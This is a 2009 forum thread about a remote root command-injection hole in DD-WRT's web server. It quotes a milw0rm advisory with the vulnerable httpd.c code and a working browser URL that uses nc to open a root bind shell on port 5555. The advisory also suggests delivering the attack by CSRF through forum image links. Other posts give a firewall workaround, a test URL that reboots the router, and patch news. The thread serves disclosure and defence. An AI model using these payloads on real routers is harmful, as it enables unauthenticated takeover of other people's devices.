[chris]

Hi,

this post was written on 2009-07-22 21:30

the exploit also could be stopped, using a firewall rule.

Go to your router, "Administration", "Commands" and enter the follwing text:

insmod ipt_webstr
ln -s /dev/null /tmp/exec.tmp
iptables -D INPUT -p tcp -m tcp -m webstr --url cgi-bin -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -m tcp -m webstr --url cgi-bin -j REJECT --reject-with tcp-reset

and press "Save Firewall", then reboot your router.

This rule blocks any try to access sth that has "cgi-bin" in the url.

You can proove, that the rule works by entering: http://192.168.1.1/cgi-bin/;reboot in your browser. That should give a "Connection was reset" (Firefox).

Important Note: this does not work, if https managment is turned on.

You need to turn off https managment. If you don't want to do that, PLEASE UPDATE.

[sidewaysstarion]

This is a remote root vulnerability in DD-WRT's httpd server. The bug exists
at the latest 24 sp1 version of the firmware.

The problem is due to many bugs and bad software design decisions. Here is
part of httpd.c:

859 if (containsstring(file, "cgi-bin")) {
860
861 auth_fail = 0;
862 if (!do_auth
863 (conn_fp, auth_userid, auth_passwd, auth_realm,
864 authorization, auth_check))
865 auth_fail = 1;


......... (snip)............

899
900 }
901 exec = fopen("/tmp/exec.tmp", "wb");
902 fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903 if (query)
904 fprintf(exec, "/bin/sh %s/%s</tmp/exec.query\n",
905 server_dir != NULL ?
server_dir : "/www",file);
906 else
907 fprintf(exec, "/%s/%s\n",
908 server_dir != NULL ? server_dir : "/www",
file);
909 fclose(exec);
910
911 if (query) {
912 exec = fopen("/tmp/exec.query", "wb");
913 fprintf(exec, "%s\n", query);

........................
Two issues there:
1) No metacharacters handling
2) Command gets executed even without successful authentication.
You are not going to see any output if not authenticated though.
.......................

914 free(query);
915 fclose(exec);
916 }
917
918 system2("chmod 700 /tmp/exec.tmp");
919 system2("/tmp/exec.tmp>/tmp/shellout.asp");

........... (snip)..........

926 if (auth_fail == 1) {
927 send_authenticate(auth_realm);
928 auth_fail = 0;

------------

3) issue 3: httpd runs as root



Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can
connect to the management web interface can get easily root on the device via
his browser with an URL like:

http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily
replaced with shell variable like $IFS. So, getting root shell at 5555/tcp
becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh


Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the
problem:
http://www.youtube.com/watch?v=UhDcXCVFrvM


Fortunately, httpd by default does not listen on the outbound interface.
However, this vulnerability can be exploited via a CSRF attack (the dd-wrt
device's owner does not even need to have an authenticated session on the web
UI which is bad, bad). However, a base authentication dialog will appear. In
IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability (
http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated
session. This means someone can even post some crafted [img] link on a forum
and a dd-wrt router owner visiting the forum will get owned


A weird vulnerability you're unlikely to see in 2009 Quite embarrassing I
would say


Thanks krassyo at krassyo.info for his support


Leka vecher

# milw0rm.com [2009-07-20]

source http://milw0rm.org/exploits/9209

[autobot]

This is terrible news for those who use the outdated firmware.

[dellsweig]

[VValdo]

I was going to post the same question.

Anyone know if the warning dialog described can be suppressed in other browsers (firefox, safari, opera, etc.)?

W

[autobot]

[phuzi0n]

I reproduced this on Eko's broadcom 12476 build.

[autobot]

[autobot]

For those who read this a temporary fix would be to kill httpd, router will still be usable less the web gui.

[elektik]

its fixed now per brainslayer

[4:43:12 PM] Sebastian (DD-WRT): no its new. but why do these people never inform me!
[4:48:51 PM] Sebastian (DD-WRT): its fixed now.

i would recommenced waiting 12-24 hrs for the nightly build tomorrow and then upgrade.

[DHC_DarkShadow]

OK fixed in what? The next build?

[elektik]

next build in about 12-24hrs....i think it has around 13 hours left before the next build, but im not sure the exact schedule.

[autobot]

I made it sound worse than it is I believe, this only applies if you have enabled gui access over wan right?

[autobot]

Does this affect the X86 version? If so brainslayer is in for some po'd IT's.

[VValdo]